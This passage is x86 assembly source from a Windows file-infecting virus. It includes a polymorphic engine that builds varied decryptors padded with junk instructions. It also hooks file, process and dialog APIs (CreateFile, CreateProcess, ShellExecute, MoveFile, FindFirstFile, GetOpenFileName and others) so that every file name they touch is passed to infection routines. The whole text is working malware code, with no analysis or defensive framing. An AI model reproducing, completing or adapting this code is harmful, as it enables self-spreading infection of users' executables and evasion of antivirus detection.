call PolyGetType
mov [esi].PUType,al
add esi,size PolyUnit
mov [esi].PUType,PTNONE
xchg edx,[esp]
call PolyGenGarbage
xchg edx,[esp]
cmp al,PTXOR
jnz short VirPoly_2
;Method XOR
call PolyXorReg32Imm
jmp short VirPolyNext
VirPoly_2:
cmp al,PTADD
jnz short VirPoly_3
;Method add
call PolyAddReg32Imm
jmp short VirPolyNext
VirPoly_3:
cmp al,PTSUB
jnz short VirPoly_4
;Method sub
call PolySubReg32Imm
jmp short VirPolyNext
VirPoly_4:
cmp al,PTROR
jnz short VirPoly_5
;Method ROR
mov dh,8
call PolyRollReg32Imm8
jmp short VirPolyNext
VirPoly_5:
cmp al,PTROL
jnz short VirPoly_6
;Method ROL
xor dh,dh
call PolyRollReg32Imm8
jmp short VirPolyNext
VirPoly_6:
;Method BSWAP
call PolyBswapReg32
; jmp short VirPolyNext
VirPolyNext:
pop edx
pop ecx
call PolyGenGarbage
call PolyGenSafeGarbage
call PolyMovMemReg32
call PolyGenGarbage
dec dword ptr [esp]
jnz VirPolyLoop
pop ecx
; mov cl,dh
; call PolyCmpReg32_0
;sub count reg,4
mov cl,dh
push large 4
pop edx
call PolySubReg32Imm
;jnl xxxxxxxx
mov ax,8d0fh
stosw
mov eax,[esp]
sub eax,edi
sub eax,4
stosd
pop eax
push edi
popad
retn
VirPoly_end:
;Param: ebp->PolyVar
; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
PolyInitVar:
pushad
xor ecx,ecx
mov [ebp],ecx
mov [ebp+4],ecx
mov bl,1
mov cl,dl
mov [ebp+ecx],bl
movzx ecx,dh
mov [ebp+ecx],bl
popad
retn
PolyInitVar_end:
VirPolyHelp:
stc
call PolyGetReg
movzx eax,bl
mov byte ptr [ebp+eax],1
mov cl,bl
push ecx
call PolyMovReg32Mem
pop ecx
retn
VirPolyHelp_end:
;Generate some garbage to a buffer
PolyGenGarbageBuffer:
pushad
sub esp,size PolyVar
mov ebp,esp
;Make the reg as ebp,ebp,only an address,not useful
mov edx,0505h
call PolyInitVar
call VirGetRand
and eax,0fh
add al,0fh ;15-31 garbage
push eax
PolyGenGarbageBufferLoop:
call PolyGenSafeGarbage
dec dword ptr [esp]
jnz short PolyGenGarbageBufferLoop
pop eax
add esp,size PolyVar
pop eax
push edi
popad
retn
PolyGenGarbageBuffer_end:
;Save gargage code generate,can be used in other generation
PolyGenSafeGarbage:
pushad
call VirGetRand
movzx eax,al
and al,7
add al,8 ;8-15 layers garbage code
push eax
PolyGenSafeGarbageLoop:
call VirGetRand
mov edx,eax
and al,0fh
and ah,3 ;common reg
xchg cl,ah ;cl=potential useful reg
call PolyGetReg ;bl=garbagereg
;bl=gargage reg,cl=useful reg
cmp al,PolyGenSafeGarbageMultiNum
jnc PolyGenSafeGarbage_0
push ebx
call PolyGenSafeGarbageMulti
PolyGenSafeGarbageMulti_0:
db 11h; adc
db 01h; add
db 21h; and
db 39h; cmp
db 89h; mov
db 09h; or
db 19h; sbb
db 29h; sub
db 31h; xor
PolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0
PolyGenSafeGarbageMulti:
pop ebx
movzx eax,al
mov al,[ebx+eax]
pop ebx
call PolyOpDirReg1Reg2
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_0:
cmp al,PolyGenSafeGarbageMultiNum+0
jnz short PolyGenSafeGarbage_1
;xchg garbagereg,commonreg/xchg garbagereg,commonreg
call PolyXchgReg32Reg
call PolyXchgReg32Reg
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_1:
cmp al,PolyGenSafeGarbageMultiNum+1
jnz short PolyGenSafeGarbage_2
test dh,10h
jz short PolyGenSafeGarbage_@11
;jmp forword,short format
mov al,0ebh
stosb
movzx eax,dh
and al,3 ;max forward 3 bytes
stosb
add edi,eax
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_@11:
;call forward/pop gargagereg
mov al,0e8h
stosb
movzx eax,dh
and al,3 ;max forward 3 bytes
stosd
add edi,eax
mov al,58h
or al,bl
stosb
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_2:
cmp al,PolyGenSafeGarbageMultiNum+2
jnz short PolyGenSafeGarbage_3
;bswap garbagereg
mov al,0fh
stosb
mov al,0c8h
or al,bl
stosb
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_3:
cmp al,PolyGenSafeGarbageMultiNum+3
jnz short PolyGenSafeGarbage_4
;jcc forward
mov al,70h
and dh,0fh
or al,dh
stosb
shr edx,12
mov al,dh
and al,3 ;max 3 bytes
stosb
call PolyGetOneByteGarbage
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_4:
cmp al,PolyGenSafeGarbageMultiNum+4
jnz short PolyGenSafeGarbage_5
;test reg,reg
mov al,85h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_5:
PolyGenSafeGarbageNext:
dec dword ptr [esp]
jnz PolyGenSafeGarbageLoop
pop eax
pop eax
push edi
popad
retn
PolyGenSafeGarbage_end:
;nop,clc,stc,cld,std
;Param: al=code number
PolyGetOneByteGarbage:
push ebx
push eax
PolyGetOneByteGarbageLoop:
or al,al
jz short PolyGetOneByteGarbageRet
push eax
call VirGetRand
xchg eax,ebx
mov al,90h ;nop
test bh,8
jz short PolyGetOneByteGarbage1
mov al,0f8h ;clc
and bl,1
add al,bl ;maybe stc
jmp short PolyGetOneByteGarbageNext
PolyGetOneByteGarbage1:
test bh,2
jz short PolyGetOneByteGarbageNext
mov al,0fch ;cld
and bl,1
add al,bl ;maybe std
; jmp short PolyGetOneByteGarbageNext
PolyGetOneByteGarbageNext:
stosb
pop eax
dec al
jmp short PolyGetOneByteGarbageLoop
PolyGetOneByteGarbageRet:
pop eax
pop ebx
retn
PolyGetOneByteGarbage_end:
;opcode dstreg,srcreg,select two direction
;Param: cl=srcreg,bl=dstreg,al=opcode
PolyOpDirReg1Reg2:
push ebx
push ecx
push eax
call VirGetRand
test al,2
pop eax
jz short PolyOpDirReg1Reg2_1
or al,2
xchg cl,bl
PolyOpDirReg1Reg2_1:
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
pop ecx
pop ebx
retn
PolyOpDirReg1Reg2_end:
;xchg reg32,reg32
;Param: cl,bl= reg32
PolyXchgReg32Reg:
call VirGetRand
test al,1
jz short PolyXchgReg32Reg1
;xchg reg,reg
mov al,87h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
retn
PolyXchgReg32Reg1:
;push reg1/push reg2/pop reg1/pop reg2
mov al,50h
or al,cl
stosb
mov al,50h
or al,bl
stosb
mov al,58h
or al,cl
stosb
mov al,58h
or al,bl
stosb
retn
retn
PolyXchgReg32Reg_end:
PolyGenGarbage:
pushad
mov esi,edx ;save edx
call VirGetRand
test ah,3
jnz short PolyGenGarbageNotSafe
popad
jmp PolyGenSafeGarbage
PolyGenGarbageNotSafe:
movzx eax,al
and al,7
add al,8 ;8-15 layers garbage code
push eax
PolyGenGarbageLoop:
call VirGetRand
mov edx,eax
and al,7
and ah,3 ;common reg
xchg cl,ah
call PolyGetReg ;bl=garbagereg
xchg cl,bl ;cl=gargage reg,bl=useful reg
cmp al,0
jnz short PolyGenGarbage_1
;mov garbagereg,commonreg
xchg cl,bl
call PolyMovReg32Reg32 ;mov regbl,regcl
jmp short PolyGenGarbageNext
PolyGenGarbage_1:
cmp al,1
jnz short PolyGenGarbage_2
;add garbagereg,imm32
call PolyAddReg32Imm
jmp short PolyGenGarbageNext
PolyGenGarbage_2:
cmp al,2
jnz short PolyGenGarbage_3
;roll garbagereg,imm8
bswap edx
and dh,8
call PolyRollReg32Imm8
jmp short PolyGenGarbageNext
PolyGenGarbage_3:
cmp al,3
jnz short PolyGenGarbage_4
;mov garbagereg,mem
mov edx,esi
call PolyMovReg32Mem
jmp short PolyGenGarbageNext
PolyGenGarbage_4:
PolyGenGarbageNext:
dec dword ptr [esp]
jnz PolyGenGarbageLoop
pop eax
pop eax
push edi
popad
retn
PolyGenGarbage_end:
if 0
;cmp reg32,0
;Param: cl=reg32
PolyCmpReg32_0:
call VirGetRand
test al,1
jnz short PolyCmpReg32_0_1
;cmp reg32,0
test al,2
jnz short PolyCmpReg32_0_2
;long format
mov al,81h
stosb
mov al,0f8h
or al,cl
stosb
xor eax,eax
stosd
retn
PolyCmpReg32_0_2:
;short format
mov al,83h
stosb
mov al,0f8h
or al,cl
stosb
xor al,al
stosb
retn
PolyCmpReg32_0_1:
;or reg32,reg32
test al,8
mov al,09h
jz short PolyCmpReg32_0_3
mov al,0bh
PolyCmpReg32_0_3:
stosb
mov al,cl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyCmpReg32_0_end:
endif
;ror/rol reg32,imm8
;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means ror
PolyRollReg32Imm8:
call VirGetRand
cmp dl,1
jnz short PolyRollReg32Imm8_1
test al,1
jz short PolyRollReg32Imm8_1
;ror/rol reg32,1
mov al,0d1h
PolyRollReg32Imm8__help:
stosb
mov al,0c0h
or al,cl
or al,dh
stosb
retn
PolyRollReg32Imm8_1:
test al,2
jnz short PolyRollReg32Imm8_2
PolyRollReg32Imm8__help2:
;ror/rol reg32,imm8
mov al,0c1h
call PolyRollReg32Imm8__help
mov al,dl
stosb
retn
PolyRollReg32Imm8_2:
;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32
stc
call PolyGetReg
call PolyMovReg32Reg32
xchg bl,cl
call PolyRollReg32Imm8__help2
call PolyMovReg32Reg32
retn
PolyRollReg32Imm8_end:
;bswap reg32
;Param: cl=reg32
PolyBswapReg32:
call VirGetRand
test al,1
jnz short PolyBswapReg32_1
;bswap reg32
PolyBswapReg32_0:
mov al,0fh
stosb
mov al,0c8h
or al,cl
stosb
retn
PolyBswapReg32_1:
;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32
stc
call PolyGetReg
call PolyMovReg32Reg32
xchg bl,cl
call PolyBswapReg32_0
call PolyMovReg32Reg32
retn
PolyBswapReg32_end:
;xor reg32,imm32
;Param: cl=reg32,edx=imm32
PolyXorReg32Imm:
call VirGetRand
test al,1
jz short PolyXorReg32Imm1
;xor reg32,imm32
mov al,81h
stosb
mov al,0f0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyXorReg32Imm1:
;mov tmpreg32,imm32/xor reg32,tmp32
stc
call PolyGetReg
xchg bl,cl
call PolyMovReg32Imm
mov al,33h
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyXorReg32Imm_end:
;add ret32,imm32
;Param: cl=reg32,edx=imm32
PolyAddReg32Imm:
call VirGetRand
cmp edx,1;can be inc reg32?
jnz short PolyAddReg32Imm1
test al,8
jz short PolyAddReg32Imm1
;inc reg32
mov al,40h
or al,cl
stosb
retn
PolyAddReg32Imm1:
test al,1
jnz short PolyAddReg32Imm2
;mov tmpreg32,imm32/add reg32,tmpreg32
stc
call PolyGetReg
xchg bl,cl
call PolyMovReg32Imm
mov al,3
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyAddReg32Imm2:
test al,10h
jz short PolyAddReg32Imm3
;add reg32,imm
mov al,81h
stosb
mov al,0c0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyAddReg32Imm3:
;or reg32,reg32/adc reg32,imm
mov bl,cl
mov al,09h
call PolyOpDirReg1Reg2
mov al,81h
stosb
mov al,0d0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyAddReg32Imm_end:
;sub ret32,imm32
;Param: cl=reg32,edx=imm32
PolySubReg32Imm:
call VirGetRand
cmp edx,1;can be dec reg32?
jnz short PolySubReg32Imm1
test al,8
jz short PolySubReg32Imm1
;dec reg32
mov al,48h
or al,cl
stosb
retn
PolySubReg32Imm1:
test al,1
jnz short PolySubReg32Imm2
;add reg32,neg imm
neg edx
jmp short PolyAddReg32Imm1
PolySubReg32Imm2:
;sub reg32,imm
mov al,81h
stosb
mov al,0e8h
or al,cl
stosb
mov eax,edx
stosd
retn
PolySubReg32Imm_end:
;mov ret32,imm32
;Param: cl=reg32,edx=imm32
PolyMovReg32Imm:
call VirGetRand
test al,1
jz short PolyMovReg32Imm1
;mov reg32,imm32
mov al,0b8h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyMovReg32Imm1:
;push imm32/pop reg32
mov al,68h
stosb
mov eax,edx
stosd
mov al,58h
or al,cl
stosb
retn
PolyMovReg32Imm_end:
;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=reg32
PolyMovReg32Mem:
call VirGetRand
test al,3
jz short PolyMovReg32Mem1
;mov tmpreg8,mem/mov reg8,tmpreg
clc
call PolyGetReg
xchg cl,bl
call PolyMovReg32Mem3 ;mov tmpre32,mem
;Now cl=tmpreg,bl=reg
call PolyMovReg32Reg32
retn
PolyMovReg32Mem1:
test al,4
jnz short PolyMovReg32Mem2
PolyMovReg32Mem3:
;mov reg8,mem
mov al,8bh
call PolyMovMemHelp
retn
PolyMovReg32Mem2:
;push mem/pop reg
mov ax,034ffh
stosw
mov al,dh
shl al,3
or al,dl ;SIB
stosb
mov al,cl ;pop reg
or al,58h
stosb
retn
PolyMovReg32Mem_end:
;mov [reg of dl(source) + reg of bh(count)],reg32
;Param: cl=reg32
PolyMovMemReg32:
call VirGetRand
test al,3
jz short PolyMovMemReg32_1
;mov tmpreg,reg/mov mem32,tmpreg
clc
call PolyGetReg
;cl=reg32,bl=tmpreg32
call PolyMovReg32Reg32
xchg bl,cl
;cl=reg32,bl=tmpreg32
PolyMovMemReg32_1:
test al,4
jz short PolyMovMemReg32__2
;mov mem32,reg32
mov al,89h
call PolyMovMemHelp
retn
PolyMovMemReg32__2:
;push reg32/pop mem32
mov al,50h
or al,cl
stosb
mov ax,048fh
stosw
mov al,dh
shl al,3
or al,dl ;SIB
stosb
retn
PolyMovMemReg32_end:
;For mov mem32,reg or mov reg,mem32
;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32
PolyMovMemHelp:
stosb
mov al,cl
shl al,3
or al,4
stosb ;mod/reg/rm
mov al,dh
shl al,3
or al,dl ;SIB
stosb
retn
PolyMovMemHelp_end:
;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=source reg32,bl=dest reg32
PolyMovReg32Reg32:
call VirGetRand
test al,1
jz short PolyMovReg32Reg32_1
;mov dstreg32,srcreg32
test al,8
jz short PolyMovReg32Reg32_2
;reg1 to reg2
mov al,89h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
retn
PolyMovReg32Reg32_2:
;reg2 to reg1
mov al,8bh
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyMovReg32Reg32_1:
;push srcreg32/pop dstreg32
mov al,50h
or al,cl
stosb
mov al,58h
or al,bl
stosb
retn
PolyMovReg32Reg32_end:
;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg
;Return: bl=reg,bh won't be affect
PolyGetReg:
push eax
push edx
push ecx
setc cl
shr cl,2
add cl,3
call VirGetRand
movzx edx,al
and dl,cl
dec dl
PolyGetRegLoop:
inc dl
and dl,cl
cmp dl,4 ;is esp?
jz short PolyGetRegLoop
cmp dl,5 ;is ebp?
jz short PolyGetRegLoop
cmp byte ptr [ebp+edx],dh ;dh=0
jnz short PolyGetRegLoop
mov bl,dl
pop ecx
pop edx
pop eax
retn
PolyGetReg_end:
;Param: al=last poly type
;Return: al=poly type
PolyGetType:
push edx
mov dh,al
call VirGetRand
xor ah,ah ;avoid overflow error
mov dl,PTNUM
div dl
mov al,ah
pop edx
retn
PolyGetType_end:
;Return: eax=random number
VirGetRand:
pushad
call VirGetRandIP
VirGetRandIP:
pop ebp
call [ebp+addrGetTickCount-VirGetRandIP]
mov ecx,12345678h
RandSeed equ $-4
add eax,ecx
rol ecx,1
add ecx,esp
add [ebp+RandSeed-VirGetRandIP],ecx
push large 32
pop ecx
VirGetRand1:
shr eax,1
jnc VirGetRand2
xor eax,0ED388320h
VirGetRand2:
loop VirGetRand1
mov [esp+7*4],eax
popad
retn
get_rand_end:
;Try to set GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameTryHook:
mov ecx,[esi].OPENFILENAME.Flags
test ecx,OFN_ENABLEHOOK
jnz short HookGetOpenFileNameTryHookRet
test ecx,OFN_EXPLORER
jz short HookGetOpenFileNameTryHookRet
or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK
mov [esi].OPENFILENAME.lpfnHook,edi
HookGetOpenFileNameTryHookRet:
retn
HookGetOpenFileNameTryHook_end:
;Try to release GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameUnhook:
cmp [esi].OPENFILENAME.lpfnHook,edi
jnz short HookGetOpenFileNameUnhookRet
and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK
mov [esi].OPENFILENAME.lpfnHook,0
HookGetOpenFileNameUnhookRet:
retn
HookGetOpenFileNameUnhook_end:
HookGetOpenFileNameHookA:
cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg
jnz short HookGetOpenFileNameHookARet
mov eax,[esp+4+4*3] ;lParam
cmp dword ptr [eax+8],CDN_FOLDERCHANGE
jnz short HookGetOpenFileNameHookARet
mov eax,[esp+4]
pushad
call HookGetOpenFileNameHookAIP
HookGetOpenFileNameHookAIP:
pop ebp
push eax
call [ebp+addrGetParent-HookGetOpenFileNameHookAIP]
sub esp,1000
mov edi,esp
push edi
push 500
push CDM_GETFOLDERPATH
push eax
call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP]
cmp eax,0
jle short HookGetOpenFileNameHookAFail
cmp byte ptr [edi+1],0
jz short HookGetOpenFileNameHookAWide
call TrySearchPath
jmp short HookGetOpenFileNameHookAFail
HookGetOpenFileNameHookAWide:
call TrySearchPathWide
HookGetOpenFileNameHookAFail:
add esp,1000
popad
HookGetOpenFileNameHookARet:
xor eax,eax
retn 16
HookGetOpenFileNameHookA_end:
HookGetSaveFileNameA:
pushad
pushfd
call HookGetSaveFileNameAIP
HookGetSaveFileNameAIP:
pop ebx
mov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP]
lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP]
jmp short HookGetOpenFileNameA_1
HookGetSaveFileNameA_end:
HookGetSaveFileNameW:
pushad
pushfd
call HookGetSaveFileNameWIP
HookGetSaveFileNameWIP:
pop ebx
mov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP]
lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP]
jmp short HookGetOpenFileNameW_1
HookGetSaveFileNameW_end:
HookGetOpenFileNameA:
pushad
pushfd
call HookGetOpenFileNameAIP
HookGetOpenFileNameAIP:
pop ebp
mov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP]
HookGetOpenFileNameA_1:
mov esi,[esp+9*4+4]
lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP]
call HookGetOpenFileNameTryHook
push esi
call eax
mov [esp+4+7*4],eax
call HookGetOpenFileNameUnhook
popfd
popad
retn 4
HookGetOpenFileNameA_end:
HookGetOpenFileNameW:
pushad
pushfd
call HookGetOpenFileNameWIP
HookGetOpenFileNameWIP:
pop ebp
mov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP]
HookGetOpenFileNameW_1:
mov esi,[esp+9*4+4]
lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP]
call HookGetOpenFileNameTryHook
push esi
call eax
mov [esp+4+7*4],eax
call HookGetOpenFileNameUnhook
popfd
popad
retn 4
HookGetOpenFileNameW_end:
HookLoadLibraryA:
pushad
pushfd
call HookLoadLibraryAIP
HookLoadLibraryAIP:
pop ebp
mov esi,[esp+9*4+4]
push esi
call [ebp+addrLoadLibraryA-HookLoadLibraryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookLoadLibraryARet
mov edi,1000
sub esp,edi
mov edx,esp
push edi
push edx
push eax
call HookGetModuleFileNameA
add esp,edi
HookLoadLibraryARet:
popfd
popad
retn 4
HookLoadLibraryA_end:
HookLoadLibraryW:
pushad
pushfd
call HookLoadLibraryWIP
HookLoadLibraryWIP:
pop ebp
mov esi,[esp+9*4+4]
push esi
call [ebp+addrLoadLibraryW-HookLoadLibraryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookLoadLibraryWRet
mov edi,1000
sub esp,edi
mov edx,esp
push large 500
push edx
push eax
call HookGetModuleFileNameW
add esp,edi
HookLoadLibraryWRet:
popfd
popad
retn 4
HookLoadLibraryW_end:
HookGetModuleFileNameA:
pushad
pushfd
call HookGetModuleFileNameAIP
HookGetModuleFileNameAIP:
pop ebp
mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
mov eax,[esp+9*4+4+4+4]
push eax
push edi
push esi
call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetModuleFileNameARet
call TrySearchFile
HookGetModuleFileNameARet:
popfd
popad
retn 12
HookGetModuleFileNameA_end:
HookGetModuleFileNameW:
pushad
pushfd
call HookGetModuleFileNameWIP
HookGetModuleFileNameWIP:
pop ebp
mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
mov eax,[esp+9*4+4+4+4]
push eax
push edi
push esi
call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetModuleFileNameWRet
xchg edi,edx
call InfectFileWide
HookGetModuleFileNameWRet:
popfd
popad
retn 12
HookGetModuleFileNameW_end:
HookGetCurrentDirectoryA:
pushad
pushfd
call HookGetCurrentDirectoryAIP
HookGetCurrentDirectoryAIP:
pop ebp
mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetCurrentDirectoryARet
call TrySearchPath
HookGetCurrentDirectoryARet:
popfd
popad
retn 8
HookGetCurrentDirectoryA_end:
HookGetCurrentDirectoryW:
pushad
pushfd
call HookGetCurrentDirectoryWIP
HookGetCurrentDirectoryWIP:
pop ebp
mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetCurrentDirectoryWRet
call TrySearchPathWide
HookGetCurrentDirectoryWRet:
popfd
popad
retn 8
HookGetCurrentDirectoryW_end:
HookSetCurrentDirectoryA:
pushad
pushfd
call HookSetCurrentDirectoryAIP
HookSetCurrentDirectoryAIP:
pop ebp
mov edi,[esp+9*4+4]
push edi
call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookSetCurrentDirectoryARet
call TrySearchPath
HookSetCurrentDirectoryARet:
popfd
popad
retn 4
HookSetCurrentDirectoryA_end:
HookSetCurrentDirectoryW:
pushad
pushfd
call HookSetCurrentDirectoryWIP
HookSetCurrentDirectoryWIP:
pop ebp
mov edi,[esp+9*4+4]
push edi
call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookSetCurrentDirectoryWRet
call TrySearchPathWide
HookSetCurrentDirectoryWRet:
popfd
popad
retn 4
HookSetCurrentDirectoryW_end:
HookFindFirstFileA:
pushad
pushfd
call HookFindFirstFileAIP
HookFindFirstFileAIP:
pop ebp
mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrFindFirstFileA-HookFindFirstFileAIP]
mov [esp+4+7*4],eax
inc eax
jz short HookFindFirstFileARet
add edi,4*11 ;edi->cFileName
push esi
call HookFindHelp
pop edi
call TrySearchFile
HookFindFirstFileARet:
popfd
popad
retn 8
HookFindFirstFileA_end:
;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA
HookFindHelp:
sub esp,2000
xchg ebx,edi
mov edi,esp
mov edx,edi
call VirExtractPath
mov edi,ecx
mov esi,ebx
HookFindHelpLoop2:
lodsb
stosb
or al,al
jnz short HookFindHelpLoop2
mov edi,edx
call InfectFile
HookFindHelpRet:
add esp,2000
retn
HookFindHelp_end:
HookFindFirstFileW:
pushad
pushfd
call HookFindFirstFileWIP
HookFindFirstFileWIP:
pop ebp
mov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrFindFirstFileW-HookFindFirstFileWIP]
mov [esp+4+7*4],eax
inc eax
jz short HookFindFirstFileWRet
add edi,4*11 ;edi->cFileName
call HookFindHelpWide
HookFindFirstFileWRet:
popfd
popad
retn 8
HookFindFirstFileW_end:
;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA
HookFindHelpWide:
sub esp,2000
mov edx,esi
xchg ecx,edi
mov edi,esp
call UnicodeToAnsi
mov esi,edi
mov edx,ecx
add edi,1000
call UnicodeToAnsi
push esi
call HookFindHelp
pop edi
call TrySearchFile
add esp,2000
retn
HookFindHelpWide_end:
HookMoveFileExA:
push eax
pushad
pushfd
mov edx,addrMoveFileExA-HookBaseIP
jmp short HookMoveFileA_1
HookMoveFileExA_end:
HookMoveFileExW:
push eax
pushad
pushfd
mov edx,addrMoveFileExW-HookBaseIP
jmp short HookMoveFileW_1
HookMoveFileExW_end:
HookCopyFileExA:
push eax
pushad
pushfd
mov edx,addrCopyFileExA-HookBaseIP
jmp short HookMoveFileA_1
HookCopyFileExA_end:
HookCopyFileExW:
push eax
pushad
pushfd
mov edx,addrCopyFileExW-HookBaseIP
jmp short HookMoveFileW_1
HookCopyFileExW_end:
HookCopyFileA:
push eax
pushad
pushfd
mov edx,addrCopyFileA-HookBaseIP
jmp short HookMoveFileA_1
HookCopyFileA_end:
HookCopyFileW:
push eax
pushad
pushfd
mov edx,addrCopyFileW-HookBaseIP
jmp short HookMoveFileW_1
HookCopyFileW_end:
HookMoveFileA:
push eax
pushad
pushfd
mov edx,addrMoveFileA-HookBaseIP
HookMoveFileA_1:
mov edi,[esp+10*4+4]
call InfectFileAnsi
jmp short HookReturn
HookMoveFileA_end:
HookMoveFileW:
push eax
pushad
pushfd
mov edx,addrMoveFileW-HookBaseIP
HookMoveFileW_1:
push edx
mov edx,[esp+10*4+4+4]
call InfectFileWide
pop edx
jmp short HookReturn
HookMoveFileW_end:
HookShellExecuteExA:
push eax
pushad
pushfd
mov edi,[esp+10*4+4]
or edi,edi
jz short HookShellExecuteExARet
mov edi,[edi+4*4]
call InfectFileAnsi
HookShellExecuteExARet:
mov edx,addrShellExecuteExA-HookBaseIP
jmp short HookReturn
HookShellExecuteExA_end:
HookShellExecuteExW:
push eax
pushad
pushfd
mov edx,[esp+10*4+4]
or edx,edx
jz short HookShellExecuteExWRet
mov edx,[edx+4*4]
call InfectFileWide
HookShellExecuteExWRet:
mov edx,addrShellExecuteExA-HookBaseIP
jmp short HookReturn
HookShellExecuteExW_end:
HookCreateFileA:
push eax
pushad
pushfd
mov edi,[esp+10*4+4]
call InfectFileAnsi
mov edx,addrCreateFileA-HookBaseIP
HookReturn:
call HookCreateFileAIP
HookCreateFileAIP:
HookBaseIP equ HookCreateFileAIP
pop edi
mov eax,[edi+edx]
mov [esp+4*9],eax
popfd
popad
retn
HookCreateFileA_end:
HookCreateFileW:
push eax
pushad
pushfd
mov edx,addrCreateFileW-HookBaseIP
jmp short HookMoveFileW_1
HookCreateFileW_end:
HookCreateProcessA:
push eax
pushad
pushfd
mov edx,addrCreateProcessA-HookBaseIP
jmp HookMoveFileA_1
HookCreateProcessA_end:
HookCreateProcessW:
push eax
pushad
pushfd
mov edx,addrCreateProcessW-HookBaseIP
jmp HookMoveFileW_1
HookCreateProcessW_end:
HookShellExecuteA:
push eax
pushad
pushfd
mov edi,[esp+10*4+4+2*4]
call InfectFileAnsi
mov edx,addrShellExecuteA-HookBaseIP
jmp short HookReturn
HookShellExecuteA_end:
HookShellExecuteW:
push eax
pushad
pushfd
mov edx,[esp+10*4+4+2*4]
call InfectFileWide
mov edx,addrShellExecuteW-HookBaseIP
jmp short HookReturn
HookShellExecuteW_end:
;Infect file with ansi file name,only a wrapper of InfectFile
;Param: edi->ansi file name
InfectFileAnsi:
pushad
call InfectFile
call TrySearchFile
popad
retn
InfectFileAnsi_end:
;Infect file with unicode file name
;Param: edx->unicode file name
InfectFileWide:
mov esi,512
sub esp,esi
mov edi,esp
call UnicodeToAnsi
call InfectFile
call TrySearchFile
add esp,esi
retn
InfectFileWide_end:
;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes)
UnicodeToAnsi:
push ecx
push large 0
push large 0
push large 512
push edi ;lpMultiByteStr
push -1
push edx
push large 200h ;WC_COMPOSITECHECK
push large 0 ;CP_ACP
call UnicodeToAnsiIP
UnicodeToAnsiIP:
pop eax
call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP]
pop ecx
retn
UnicodeToAnsi_end:
;Search path
;Param: edi->Path
TrySearchPath:
sub esp,1000
cld
mov esi,edi
mov edi,esp
TrySearchPathLoop:
lodsb
stosb
or al,al
jnz short TrySearchPathLoop
TrySearchPath_Help:
dec edi
cmp byte ptr [edi-1],'/'
jz short TrySearchPath_1
mov al,'/'
stosb
TrySearchPath_1:
mov eax,'0fck' and 0ffffffh
stosd
mov edi,esp
call TrySearchFile
